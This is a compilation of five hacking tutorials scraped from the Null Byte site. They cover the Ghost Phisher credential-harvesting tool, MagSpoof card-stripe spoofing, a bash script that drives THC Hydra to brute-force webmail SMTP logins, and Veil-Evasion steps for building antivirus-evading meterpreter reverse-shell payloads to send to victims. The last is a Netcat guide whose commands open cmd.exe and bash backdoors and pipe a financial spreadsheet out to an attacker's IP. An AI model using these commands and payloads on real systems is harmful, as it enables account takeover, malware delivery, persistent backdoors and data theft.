GHOST PHISHER : Security Auditing Tool Β« Null Byte :: WonderHowTo | Hey Everyone! Welcome to my post.We have seen a numerous GUI Tool in kali linux. Armitage, wireshark, Burpsuite etc,. Lets see an another GUI tool.GHOST PHISHER:Open terminal and type ghost-phisher and you will see various tabsghost phisher has cool features :1.HTTP Server2.Inbuilt DNS Server3.Inbuilt DHCP Server4.Webpage Hosting and Credential Logger (Phishing)5.Wifi Access point Emulator6.Session Hijacking (Passive and Ethernet Modes)7.ARP Cache Poisoning (MITM and DOS Attacks)8.Penetration using Metasploit Bindings9.Automatic credential logging using SQlite DatabaseYou can see theFake Http server Tab.Ghost phisher automates the credential harvester attack on a click.Just type the URL and start hacking! :DWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Make a Balloon Ghost for HalloweenHow To:Snapchat Increases Its Security Push, Adds Image Captcha FeatureHow To:Scan Your Samsung Galaxy S3 for Malware, Infected Apps, & Unauthorized SurveillanceHow To:Audit Web Applications & Servers with TishnaHow To:Audit your code with the RATS code checking toolHow To:Text & Call Favorite Contacts from Within Any App on Your Samsung Galaxy S4How To:Hack a network with Nessus 3Android for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootNews:Makers of Ghostbusters World Scare Up Sneak Peek of Gameplay FootageHow To:Add Creepy Apparitions to Your Halloween Photos Using the Pepper's Ghost IllusionHow to Hack Like a Pro:Getting Started with MetasploitHow To:Perform a Large-Scale Network Security Audit with OpenVAS's GSAHow To:4 Apps to Help Keep Your Android Device SecureHow To:DIY Call of Duty "Ghosts" Skull Mask: Halloween Achievement UnlockedHow To:Hack a NETBIOS IPC$ shareNews:New 'Ghostbusters World' Gameplay Footage Revealed, Haunts Your Neighborhood in the Spirit of PokΓ©mon GOSnapchat 101:How to Turn On Ghost Mode for Snap Map to Keep Your Location PrivateHow To:Beat Ghost Recon Advanced Warrior 2How to Walkthrough Sniper:Ghost Warrior on the Xbox 360Hack Like a Pro:How to Build Your Own Exploits, Part 3 (Fuzzing with Spike to Find Overflows)How To:How a Home Energy Audit Can Lower Your Energy CostsIPsec Tools of the Trade:Don't Bring a Knife to a GunfightForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsTweens 'n' Teens:Charlie St. CloudMovie Quiz:Ghost World - GraduationNews:Coal Mine Fire in Pennsylvania Ghost TownNews:Pacman Ghosts Discuss TVHorror Photography Challenge:How to Make Ghosts in Photoshop or GimpNews:Trailer Cats - Your Favorite Movie Trailers but with CATSHorror Photography Challenge:Guitar GhostNews:WATCH THIS INSTEAD - Box Office is a Ghost TownNews:Backtrack 5 Security EssentialsNews:Ron PaulβS Audit the Fed Bill Overwhelmingly Passes in the HouseScrabble Bingo of the Day:REVENANTNews:FarmVille Trick or Treat and Spooky EffectStarcraft 2:Ghost of the Past trailerHow To:Audit remote password using THC-HydraNews:Senate Dems back increase in air travel fee to close funding shortfall at TSAHow To:Bake delicious and spooky ghost meringues with absinthe for Halloween |
MagSpoof Digitally Clones the Magnetic Stripe of Any Credit Card Β« Null Byte :: WonderHowTo | Samy Kamkar, the security researcher known for theMySpace Wormand hiscombination lock crackingskills (usingan online calculator), is backβand this time, he's after your credit cards!Well, not really, but his latest project, dubbedMagSpoof, can spoof any magnetic stripe or credit card, enabling a device to wirelessly send a signal to traditional credit card readers without needing NFC or RFID, Γ laSamsung Pay. Furthermore, the project is easy to build using basic electronics andhis custom code.Once built, MagSpoof can function as a traditional credit card (or hotel room key, driver's license, MTA card, etc.), can switch between cards, and has the potential to disable new chip-and-PIN (EMV) cards and predict American Express card numbers, although the code for the latter two isnotincluded in the project.Don't Miss:Samy's MagSpoof Hacking Device Featured on Mr. RobotUnderstanding Magnetic StripesTo understand how MagSpoof works, you'll first need to know how magnetic stripes work. While the level of magnetism in these stripes is quite low, it is enough to attract iron oxide particles, which in turn reveal each bit in the tracks (credit cards have two tracks).Once the iron oxide has adhered to the strip, you can actually use the bits to pull the credit card number.Two solid stripes is a 1, while a stripe followed by a space is a 0. This data can be used to gather the credit card number, and other data, such as expiration date, CVV code, and more. Just take each 5 bits and only read the first 4.Using MagSpoofMagSpoof produces a magnetic field that emulates a stripe swipe by quickly changing the polarization of an electromagnet. And, as stated by Samy, "the stronger the electromagnet, the further away you can use it."Building the HardwareHeadover to Samy's blogfor a full list of all the required parts, details about them, and where you can get them from.SchematicsThe schematics should be fairly easy to follow if you've ever done anything like this before. If not, you probably shouldn't be messing around with it.FirmwareYou can download the code and full schematic fromSamy's GitHub page.RestrictionsFor security purposes, MagSpoof does not have a publicly accessible code for bypassing chip-and-PIN protection and American Express card number protection.Chip-and-PINNew to the U.S. (but widely used in Europe for some time), this card protection mechanism requires a card to be "dipped" in a card reader at the point-of-sale.This protectioncanbe deactivated from the bits obtained in the magstripe, completely bypassing this enhanced security measure. Samy has offered this information to credit card issuers, and is therefore not opening it up to the public.American Express Card ProtectionAfter Samy lost his AMEX card, he noticed that the replacement card had very similar digits to the one he lost. This led to him discovering that a global pattern could be used to accurately predict card numbers using the number of a stolen card."This means if I were to obtain your Amex card and you called it in as lost or stolen, the moment you get a new card, I know your new credit card number."Again, he has notified American Express, and therefore will not release the code pertaining to AMEX cards to the public.For more information on this project,check out Samy's blog. And be sure to subscribe toApplied Hacking, along with hisYouTube channel, to stay up to date on his latest research and projects.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedNews:Samy's MagSpoof Hacking Device Was Just Featured on Mr. RobotNews:Curve's Newest Feature Lets You Go Back in TimeHow To:No Knife? Use Your Credit Card to Cut Food InsteadCES 2015:Wocket Digitizes All the Cards in Your Wallet into One Single, Secure CardHow To:Use magnetic card readers and writers with your PCHow To:Make a magical toilet rollHow To:Make a candy cane striped Christmas card boxHow To:Do Rainbow Striped NailsHow To:How Hackers Stole Your Credit Card Data in the Cyber Attack on Target StoresNews:Here's Everything You Should Know About Samsung PayHow To:Do the elevation card trickHow To:Hack Your Mini-Fridge into a Vending Machine to Take Care of Freeloading Friends at Your Next PartyHow To:Get Unlimited Free Trials Using a "Real" Fake Credit Card NumberHow To:Do Striping Tape NailsHow To:Craft a giraffe embellished "Congrats" baby arrival cardHow To:Lock and Unlock a SafeHow To:Digitally ink and painting for 2D animationNews:The Best Black Friday Deals on Android Phones from Best Buy, Walmart & MoreHow To:Auto-Fill Credit Card Forms Using Your iPhone's Camera in iOS 8How To:Use a map and compass tutorialHow To:Do Magnetic Polish Nail Designs ?!How To:Manage Your Business's Finances Like a Pro with This Easy-to-Use SoftwareHow To:Take into account magnetic declination when using a compass to navigateSUBMIT:Clever Idea for Magical Magnetic Fluid by August 1st. WIN: Your Very Own Bottle [Closed/Winner Announced]News:Giants Inspired NailsMaking Electromagnetic Weapons:The Theory Behind EMP GeneratorsHow To:How Credit Card Algorithms Work: The Anatomy of Credit Card NumbersNews:1.5 Million Credit Cards Hacked in the Global Payments Breach: Was Yours One of Them?SUBMIT:Ingenious Application for LED Graffiti by June 20th. WIN: Tagging Kit of the Future [Closed/Winner Announced]News:Rick's Pipe Dream - Magnetic Motor/GeneratorMovie Quiz:ET The Extra Terrestrial - ShoesNews:Medieval Frog Hop OffHow To:15 Clever Uses for Expired Debit, Credit, Gift, and Membership CardsHowTo:Use Science to Decode a Credit Card's Secret DataHow To:Measure Geomagnetic Storms with a DIY MagnetometerHow To Make A Coil Gun:Turning Electricity Into VelocityNews:Vintage Nail ArtNews:Math Craft Inspiration of the Week: The Intricate Sonobe Art of Meenakshi MukerjiHow To:Skip the Pre-Menu Credits in Deus Ex: Human RevolutionHow To:Display Photos in Your Home Without Any Frames |
How to Brute-Force Email Using a Simple Bash Script (Ft. THC Hydra) Β« Null Byte :: WonderHowTo | Hi, my name is Alan, and I am not a script kiddy brat from Xbox Live asking you how to boot someone offline for being mean to me. I am an amateur white hat hacker hoping to learn and teach and this is my first tutorial.THC Hydra is very prominent online brute-force tool and has been featured in Null-Byte quite a lot. It is dictionary based, as you will have to provide a wordlist with possible passwords. You can read the README here:https://github.com/vanhauser-thc/thc-hydraToday ,we will be focusing on brute forcing email, or more specifically, SMTP, also known as the Simple Mail Transfer Protocol. It is your standard protocol for sending electronic mail.Let's get started!Step 1: Open Up Kali!Of course, we will be using Kali Linux. I use mine on VMware Workstation, but it won't really matter what you use.Let's open up Leafpad, or your text editing program of your choice.Step 2: Bash Time!We're going to write a little bit of script, so that we can save some time instead of going through the hassle of actually typing out parameters.On Leafpad, type:#! /bin/bashecho Simple Email Cracking Script in bashecho Written By: Alan Caoecho NOTE: Make sure you have wordlists!echo Let us Begin:echo Choose a SMTP service: Gmail = smtp.gmail.com / Yahoo = smtp.mail.yahoo.com / Hotmail = smtp.live.com /:read smtpecho Enter Email Address:read emailecho Provide Directory of Wordlist for Passwords:read wordlisthydra -S -l $email -P $wordlist -e ns -V -s 465 $smtp smtpAnd after you got it, save it as anything you want, but with .sh at the end. Make sure it is in the root directory. Not on your desktop, but in /root.Now, I am going to explain how the script works.#! /bin/bashsimply means that everything is in bash.echosimply means to tell the computer to say something. For example,echo Hello Worldmeans to tell the computer to output Hello World.readis asking for user input. this will then store your input into a variable.read emailwould mean for you to enter something, and it will be stored into theemail.hydra -S -l $email -P $wordlist -e ns -V -s 465 $smtp smtpis the THC Hydra command which will help brute-force the email address. As you may tell, there are some parameters with a $. This is the variable with stored values you previously input in thereadcommand.Step 3: PermissionsWe're not done yet! The file you have saved (in root, right?) only has read and write permissions. This means you cannot execute it.Let's open up Terminal. Type inchmod a+x yourscript.sh(ofc replace yourscript with the name you actually gave to the bash file)Step 4: Execute!Now we can finally use it!In terminal, let's type./yourscript.shIt's working!The script is self-explanatory. Type in the SMTP service of the target's email, where smtp.gmail.com is Gmail. After that, you provide the gmail account, such as [email protected] and give a wordlist directory, which you can find some default ones in the /usr/share/wordlists directory, or you can create your own with Crunch or CUPP.https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/Thanks for reading, and please provide some feedback. Ofc, this is my first How-to...Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Crack Online Passwords with Tamper Data & THC HydraHack Like a Pro:How to Crack Online Web Form Passwords with THC-Hydra & Burp SuiteHow To:Brute-Force SSH, FTP, VNC & More with BruteDumHow To:Automate Brute-Force Attacks for Nmap ScansHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!Hack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)Hacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHow To:Brute-Force Nearly Any Website Login with HatchHow To:Discover & Attack Services on Web Apps or Networks with SpartaHow To:Hack Wireless Router Passwords & Networks Using HydraHow To:Bash (Shell) Scripting for BeginnersHow To:Beatbox Tutorial - The BasicsHow To:Audit remote password using THC-Hydra |
Hack Like a Pro: How to Evade AV Detection with Veil-Evasion Β« Null Byte :: WonderHowTo | Welcome back, my greenhorn hackers!One of the most important issues any hacker must address is how to get past security devices and remain undetected. These can include antivirus software, intrusion detection systems, firewalls, web application firewalls, and numerous others. As nearly all of these devices employ asignature-baseddetection scheme where they maintain a database of known exploits and payload signatures, the key is to either:create your own exploit, orchange the signature of a known exploit or payload.As creating your own exploit and payload is both time-consuming and requires advanced skills, the novice hacker is better served by first attempting to change the signature of the exploit and payload.In previous tutorials, we have used both Metasploit'smsfpayload/msencode(now deprecated) andmsfvenom. In these cases, the AV developers have coded a signature for the templates these schemes use. In this tutorial, we will look at another re-encoding scheme for hiding the signature of known payloads known as Veil-Evasion.Veil-Evasion was specifically developed to enable you to change the signature of your payload. It is written in Python, but has numerous encoders to enable you to rewrite your code to evade detection in multiple ways.Step 1: Install Veil-EvasionWe first need to install Veil-Evasion on our system. We can download it from the Kali repository. Simply type:kali > apt-get install veil-evasionStep 2: Set Up Veil-EvasionTo start Veil-Evasion, just type:kali > veil-evasionWhen you do so, you will be greeted with this opening screen:Veil will now begin its installation. It will ask you whether you want to install dependencies; tell it "y" for yes. Next, Veil-Evasion will begin to download all its dependencies. This can take awhile, so be patient. Eventually, Veil-Evasion will ask you whether you want to install Python for Windows. Select "Install for all users" and click the "Next" button.Use the default directory when the install wizard asks, and then you will be greeted by a screen like below. Click "Next."Eventually, you will come to a screen like that below. Go ahead and click "Next" again.Continue to click "Next" through several screens until you finally come to a window with the "Finish" button. Click it. Eventually, your patience will be rewarded when you finally arrive at the screen below. Now we are ready to begin to use Veil-Evasion to create a nearly undetectable payload.Step 3: Create an EXE with a PayloadIn this first step, we will create a simple .exe file that will contain a payload that enables us to own the victim's system. This could be used to send to the victim and having them click on it to execute it. Generally, this type of attack will be part of a social engineering attack.Let's now type "list" as this will list all of the payloads that Veil-Evasion can work with.Those of you who are familiar withMetasploitwill recognize many of these payloads.Step 4: Use a PayloadIn this case, let's use the ruby/meterpreter/rev_tcp, or number 44. Let's type:> use 44When we do so, Veil-Evasion will come back with a screen like below asking us to set the options.We will need to set LHOST and LPORT.> set LHOST 192.168.1.101> set LPORT 6996Of course, use the appropriate IP address and port for your circumstances.Next, we need to tell Veil-Evasion to generate the executable.> generateAs you can see in the screenshot above, Veil-Evasion has generated an new .exe file that I have named "newpayload.exe" (you can name it whatever you please).Step 5: Generate an Encrypted Payload to Evade DetectionNext, let's attempt to create an encrypted payload that we can get past AV software and other security devices. In this case, we will use a different payload on the payload list, namely python/shellcode_inject/aes_encrypt. This payload type usesVirtualAlloc injection, which creates a executable area in memory for the shellcode and then locks that memory area in physical memory.This is number 32 on our payload list, so type:> info 32It then returns info on this payload as seen below.This payload uses VirtualAlloc injection in conjunction with AES encryption (AES is the Advanced Encryption Standard, generally regarded as among the strongest encryption available) to obfuscate its true nature from AV software and other security devices.Next, let's tell Veil-Evasion we want to use this payload.> use 32Here we have the option to change the default options if we care to do so. For now, let's leave the default options as they are.Next, let's tell Veil-Evasion we want to generate this encrypted payload.> generateWhen we do so, it will use the default payload windows/meterpreter/reverse_tcp and then prompt us for the LHOST and LPORT. When we finish entering the appropriate information for our payload, it will begin to generate the shellcode. This can take few minutes, so be patient.Next, Veil-Evasion will prompt us for what we want to name our payload. You can use whatever name your heart desires, but I used the simple "veilpayload."Finally, Veil-Evasion will complete its work and present us with the finished product, as we see below.This new code with the meterpreter embedded within will get past most AV software and security devices. Like anything else, the AV developers will likely find a way to detect even this payload, so be creative and try other payload obfuscation methods in Veil-Evasion until you find one that hides your payload.Evading security software and devices is among the most important tasks of the hacker, and Veil-Evasion is another tool in our arsenal. Keep in mind, though, that there is NEVER a single, final solution. The hacker must be persistent and creative in finding ways past these devices, so if one method fails, try another, then try another, until you find one that works.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 1Hack Like a Pro:How to Evade AV Software with ShellterHack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionAntivirus Bypass:Friendly Reminder to Never Upload Your Samples to VirusTotalHack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 2 (Dissecting ClamAV)Hacking macOS:How to Create an Undetectable PayloadHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)News:Some Great Articles on Evading AV Software |
Hack Like a Pro: How to Use Netcat, the Swiss Army Knife of Hacking Tools Β« Null Byte :: WonderHowTo | For over 20 years, a tiny but mighty tool has been used by hackers for a wide range of activities. Although well known in hacking circles, Netcat is virtually unknown outside. It's so simple, powerful, and useful that many people within the IT community refer to it as the "Swiss Army knife of hacking tools." We'll look at the capabilities of Netcat and how the aspiring hacker can use it.What Is Netcat, Really?Netcat, like so many hacker tools, was created to be a network analysis tool. Developedin 1995by a fellow only known as "Hobbit," Netcat was given to the IT community without compensation but has received scores of accolades.However, while still useful, it hasnot been maintained, soNmapproduced a modern version of it with more up-to-date features. The new version is called Ncat and, for the most part, has the same commands as Netcat so that they can be used interchangeably.You can use either Netcat or Ncat to open up TCP and UDP connections between two machines over any port your heart desires. Also, these tools can be used for port scanning,similar to Nmap. Netcat and Ncat can be used for port forwarding, proxying, simple web server, and leaving an open backdoor for the hacker, as well.Let's look at some of Netcat's capabilities usingKali Linux. Netcat should be installed, but Ncat might not be. To install either, just use one of the commands below.apt-get install netcat
apt-get install ncatStep 1: Open Netcat's Help ScreenOnce we've fired up our Kali Linux system and opened a terminal, we can use Netcat from any directory since it's located in our bin directory which is in our PATH variable by default. So, let's typenc -hto see its help page.nc -h
[v1.10-41.1]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').And this is for Ncat:ncat -h
Ncat 7.70 ( https://nmap.org/ncat )
Usage: ncat [options] [hostname] [port]
Options taking a time assume seconds. Append 'ms' for milliseconds,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
-4 Use IPv4 only
-6 Use IPv6 only
-U, --unixsock Use Unix domain sockets only
-C, --crlf Use CRLF for EOL sequence
-c, --sh-exec <command> Executes the given command via /bin/sh
-e, --exec <command> Executes the given command
--lua-exec <filename> Executes the given Lua script
-g hop1[,hop2,...] Loose source routing hop points (8 max)
-G <n> Loose source routing hop pointer (4, 8, 12, ...)
-m, --max-conns <n> Maximum <n> simultaneous connections
-h, --help Display this help screen
-d, --delay <time> Wait between read/writes
-o, --output <filename> Dump session data to a file
-x, --hex-dump <filename> Dump session data as hex to a file
-i, --idle-timeout <time> Idle read/write timeout
-p, --source-port port Specify source port to use
-s, --source addr Specify source address to use (doesn't affect -l)
-l, --listen Bind and listen for incoming connections
-k, --keep-open Accept multiple connections in listen mode
-n, --nodns Do not resolve hostnames via DNS
-t, --telnet Answer Telnet negotiations
-u, --udp Use UDP instead of default TCP
--sctp Use SCTP instead of default TCP
-v, --verbose Set verbosity level (can be used several times)
-w, --wait <time> Connect timeout
-z Zero-I/O mode, report connection status only
--append-output Append rather than clobber specified output files
--send-only Only send data, ignoring received; quit on EOF
--recv-only Only receive data, never send anything
--allow Allow only given hosts to connect to Ncat
--allowfile A file of hosts allowed to connect to Ncat
--deny Deny given hosts from connecting to Ncat
--denyfile A file of hosts denied from connecting to Ncat
--broker Enable Ncat's connection brokering mode
--chat Start a simple Ncat chat server
--proxy <addr[:port]> Specify address of host to proxy through
--proxy-type <type> Specify proxy type ("http" or "socks4" or "socks5")
--proxy-auth <auth> Authenticate with HTTP or SOCKS proxy server
--ssl Connect or listen with SSL
--ssl-cert Specify SSL certificate file (PEM) for listening
--ssl-key Specify SSL private key (PEM) for listening
--ssl-verify Verify trust and domain name of certificates
--ssl-trustfile PEM file containing trusted SSL certificates
--ssl-ciphers Cipherlist containing SSL ciphers to use
--ssl-alpn ALPN protocol list to use.
--version Display Ncat's version information and exit
See the ncat(1) manpage for full options, descriptions and usage examplesStep 2: Get the Basics Syntax DownAs you can see from the help screen above, the basic syntax for Netcat is the following. (Substitutencforncatif using Ncat instead of Netcat. We will just be usingncfor the rest of this guide.)To connect to another machine:nc options host-IP-address portTo listen for inbound connections:nc -l -p portStep 3: Use Netcat to Connect to a Remote SystemLet's go ahead and use Netcat to connect to a remote system. In this case, we will try to connect to a web server on port 80.nc 192.168.1.105 80That command gives us a TCP connection, by default, to the web server (port 80) at 192.168.1.105. Now, whatever we type, we will be sent directly to the web server when we hitenter.Step 4: Use Netcat to Banner Grab for OS FingerprintingBefore attacking any system, we need to know as much as possible about the target. So, once we have a TCP connection to a web server, we can use Netcat to grab the banner of the web server that's served up to new connections to identify what web-serving software the target is running.A banner grab to the web server can be done with theHEAD / HTTP/1.0command. Be careful and copy exactly as is with the slashes and spaces. Alternatively, if this doesn't work, you can tryHEAD / HTTP/1.1instead.HEAD / HTTP/1.0Hitentera few times and the web server will respond with its banner telling us exactly what software it is running. In this case, we can see that the web server is running Microsoft's IIS 7.5.HTTP/1.1 200 OK
Content-Length: 998
Content-Type: text/html
Content-Location: http://192.168.1.105/index.html
Last-Modified: Wed, 26 Sep 2018 17:59:41 GMT
Accept-Ranges: bytes
Etag: "e245c46986ecc61:93f"
Server: Microsoft-IIS/7.5
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Date: Sat, 08 Dec 2018 02:14:35 GMT
Conection: closeWe can use this technique on other public websites, as well. Let's try it on some widely known sites and see what web server software they're running.First, let's try this website,wonderhowto.com. When weping wonderhowto.com, we see that its IP address is 104.193.19.59. So, we throw that into the command, then, after getting a connection, we grab the web server banner. Remember to hitentertwo or three times. As we can see, wonderhowto.com is running its own WonderHowTo server.nc 104.193.19.59 80
HEAD / HTTP/1.0
HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Length: 141
Content-Type: text/html; charset=utf-8
Expires: -1
Location: https://wonderhowto.com/
Server: WonderHowTo
X-UA-Compatible: IE=Edge,chrome=1
X-Server-Name: APP01
X-Content-Type-Options: nosniff
Date: Sat, 08 Dec 2018 02:19:08 GMT
Connection: keep-aliveBut that doesn't seem right. Let's try again withHEAD / HTTP/1.1instead. As seen below, we get a bad request but do see that Microsoft-HTTPAPI/2.0 shows up, which is a common reading when the actual server is a Microsoft-IIS version.nc 104.193.19.59 80
HEAD / HTTP/1.1
HTTP/1.1 400 Bad Request
Content-Length: 334
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Sat, 08 Dec 2018 03:04:29 GMT
Connection: closeIf we try the same thing withebay.com, we get the results below. As you can see, it runs on an Apache-Coyote.1.1 server.nc 66.135.209.52 80
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: 49c752f2ba437586596f602605cb5820
Last-Modified: Fri, 8 Dec 2018 01:48:47 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 857
Date: Sat, 08 Dec 2018 02:38:44 GMT
Connection: keep-aliveGo ahead and try it on other websites and find out what server they're running. However, note that it may not work for all sites or you may not see the server information.Step 5: Use Netcat to Listen for ConnectionsNow, let's use Netcat to create a listener on the remote system. Let's assume that we have a Windows server that we have installed Netcat on. We can now type the following to open a Netcat listener on port 6996 (it can be any port) on that system.nc - l -p 6996This has created a "listener" that we can connect to at our leisure.C:\>
C:\>
C:\>
C:\>
C:\>
C:\>nc -l -p 6996Note that on Windows systems, we can run this same command with an upper caseLto create a persistent listener that will open up even if the system is rebooted.Step 6: Create a BackdoorNow, let's create a backdoor on the target system that we can come back to at any time. The command will vary slightly based upon whether we are attacking a Linux or Windows system.For Windows, we use:nc -l -p 6996 -e cmd.exeFor Linux, it's:nc -l -p 6996 -e /bin/bashThis will open a listener on the system that will "pipe" the command shell or the Linux bash shell to the connecting system.Next, on our attacking system, we type the following one-liner. As you can see, the Windows command prompt has been piped through our Netcat connection directly to our attacking system. We own that box!nc 192.168.1.105 6996
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\>Step 7: Copy Files Out (Exfiltrate) from the TargetNetcat can also be used to exfiltrate files and data from the target. Let's imagine that there's data on the target system that we want, maybe financial data or data stored in a database. We can use a stealth connection to slowly copy that data out to our attack system. In this example, we will exfiltrate a file calledfinancialprojections.xls, presumably an Excel file with financial projections.From the source system, we type:type financialprojections.xls | nc 192.168.1.104 6996That command says to display the filefinancialprojections.xls, then pipe (|) it to Netcat (nc) to IP address 192.168.1.104 through port 6996.02/26/2013 05:28 PM <DIR> WINDOWS
10/09/2006 03:55 PM <DIR> wmpub
4 Files(s) 59,533 bytes
8 Dir(s) 4,876,210,176 bytes free
C:\>type financialprojections.xls | nc 192.168.1.104 6996
C:\>type financialprojections.xls | nc 192.168.1.104 6996From the destination system, we type:nc -l -p 6996 > financialprojections.xlsThat command says to create a listener (l) on port (p) 6996, then send the data received on this listener to a file namedfinancialprojections.xls. We can see in the code below, after usingls-l, that the file was copied across our Netcat connection over port 6996 to our attacking machine!ls -l
total 356
drwxr-xr-x 2 root root 4096 2011-05-07 11:46 Desktop
-rw-r--r-- 1 root root 141 2013-09-18 12:25 financialprojections.xls
-rw-r--r-- 1 root root 192 2013-09-02 13:49 replay_arp-0902-133213.cap
-rw-r--r-- 1 root root 0 2013-09-02 16:08 snortlog
-rw-r--r-- 1 root root 338111 2013-09-02 13:49 WEPcrack-01.cap
-rw-r--r-- 1 root root 575 2013-09-02 13:49 WEPcrack-01.csv
-rw-r--r-- 1 root root 582 2013-09-02 13:49 WEPcrack-01.kismet.csv
-rw-r--r-- 1 root root 3660 2013-09-02 13:49 WEPcrack-01.kismet.netxmlThis is just a small sample of what this powerful little program can do. When you combine it with some basic scripting skills, you can only imagine the incredible things that can be accomplished.Don't Miss:Hacking macOS: How to Configure a Backdoor on Anyone's MacBookFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo viaShutterstockRelatedHacking macOS:How to Connect to MacBook Backdoors from Anywhere in the WorldHow To:Pick a lock with a Swiss army knifeHow To:Take Control of Your iOS Data with This All-in-One Management AppHow To:Open a can using a Swiss Army KnifeHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 1 (Packet Exfiltration)How To:Use a Swiss Army knife cork screw to open wineHow To:Sharpen a swiss army knifeHow To:Use a can opener on your Swiss Army knifeHow To:Pick a lock with a Swiss Army tweezer and safety pinHow To:Say the names of weapons in FrenchHow To:Use the Bottle Opener on a Swiss Army Knife to Pop Off Bottle CapsHow To:Open a bottle of wine with a Swiss Army knifeHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsFood Tool Friday:One Knife to Rule Them AllFood Tool Friday:This $9 Idiot-Proof Knife Sharpener Gets Amazing ResultsCES 2015:The Swiss Army Knife of Sports Bottles Plays Music & Holds Your Phone, Cash, Keys, & MoreHow To:Use a Swiss Army knife can openerHow To:This Quick & Easy Shortcut Minces Garlic in SecondsHow To:Hack with GNU NetcatHow To:Make Any Cutting Board Non-Slip with This Easy HackHow To:Carve a net needle out of woodHow To:Use Command Injection to Pop a Reverse Shell on a Web ServerHow To:Shuck an Oyster Without an Oyster KnifeHow To:Exploit PHP File Inclusion in Web AppsAppWererabbit:The Swiss Army Knife of App Managers for Your Galaxy Note 3How To:Create homemade CGI match move with PFTrackHow To:Shut Down & Restart the iPhoneXS, iPhoneXSMax & iPhoneXRFood Tool Friday:Why Pros Use Carbon Steel KnivesHow To:Style your hair with gelHow To:Throw an Australian boomerang correctlyHow To:Hack Wi-Fi Networks with BettercapHow To:Install a Persistant Backdoor in Windows Using NetcatHow To:Turn Your Samsung Galaxy S3, Note 2, and Other Android Devices into Wi-Fi Computer MiceHow To:Optimize Your Apple Computer with 1,200 Features for Under $40How To:Knives Too Dull? Use These Hacks to Cut, Chop, Peel & Mince Without a BladeHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHIPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:More Unreleased goodies discoveredHow To:Trade in Your Bulky Set of 